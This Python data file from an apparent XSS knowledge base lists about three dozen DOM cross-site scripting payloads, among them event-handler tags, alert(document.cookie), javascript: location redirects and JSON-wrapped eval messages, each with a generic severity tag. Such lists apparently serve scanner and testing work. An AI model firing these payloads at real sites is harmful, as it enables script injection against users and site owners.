#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Dom Core Payloads - Part 2
"""

from typing import Dict

from ..models import PayloadEntry


DOM_XSS_CORE_PAYLOADS_PART2: Dict[str, PayloadEntry] = {
    "dom_xss_037": PayloadEntry(
        payload="<details ontoggle=alert(1) open>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_038": PayloadEntry(
        payload="<marquee onstart=alert(1)>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_039": PayloadEntry(
        payload='<marquee onstart="alert(1)">',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_040": PayloadEntry(
        payload="<video autoplay oncanplay=alert(1)><source src=x>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_041": PayloadEntry(
        payload="<audio autoplay oncanplay=alert(1)><source src=x>",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_042": PayloadEntry(
        payload="alert(document.domain)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_043": PayloadEntry(
        payload="alert(document.cookie)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_044": PayloadEntry(
        payload="alert(location.href)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_045": PayloadEntry(
        payload="var x=alert;x(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_046": PayloadEntry(
        payload="this.alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_047": PayloadEntry(
        payload="self.alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_048": PayloadEntry(
        payload="parent.alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_049": PayloadEntry(
        payload="top.alert(1)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_050": PayloadEntry(
        payload="alert(String.fromCharCode(88,83,83))",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_051": PayloadEntry(
        payload='alert(atob("WFNT"))',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_052": PayloadEntry(
        payload='alert(unescape("%58%53%53"))',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_053": PayloadEntry(
        payload="alert(Math.PI)",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_054": PayloadEntry(
        payload="alert(Math.floor(1.9))",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_055": PayloadEntry(
        payload='alert(parseInt("1"))',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_056": PayloadEntry(
        payload='alert(Number("1"))',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_057": PayloadEntry(
        payload='document.body.innerHTML="<h1>XSS</h1>"',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_058": PayloadEntry(
        payload='document.title="XSS"',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_059": PayloadEntry(
        payload='document.cookie="xss=1"',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_060": PayloadEntry(
        payload='document.write("<h1>XSS</h1>")',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_061": PayloadEntry(
        payload='location.replace("javascript:alert(1)")',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_062": PayloadEntry(
        payload='location.assign("javascript:alert(1)")',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_063": PayloadEntry(
        payload='{"type":"eval","data":"alert(1)"}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_064": PayloadEntry(
        payload='{"command":"execute","code":"alert(1)"}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_065": PayloadEntry(
        payload='{"action":"script","payload":"alert(1)"}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_066": PayloadEntry(
        payload='{"toString":function(){return "alert(1)"}}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_067": PayloadEntry(
        payload='{"valueOf":function(){return "alert(1)"}}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_068": PayloadEntry(
        payload="[function(){alert(1)}]",
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_069": PayloadEntry(
        payload='[function(){return "alert(1)"}]',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_070": PayloadEntry(
        payload='{"type":"html","content":"<script>alert(1)</script>"}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_071": PayloadEntry(
        payload='{"type":"eval","code":"alert(1)"}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
    "dom_xss_072": PayloadEntry(
        payload='{"message":"<img src=x onerror=alert(1)>"}',
        contexts=["dom", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Dom Xss payload",
        tags=["dom-xss", "sink"],
        waf_evasion=False,
    ),
}
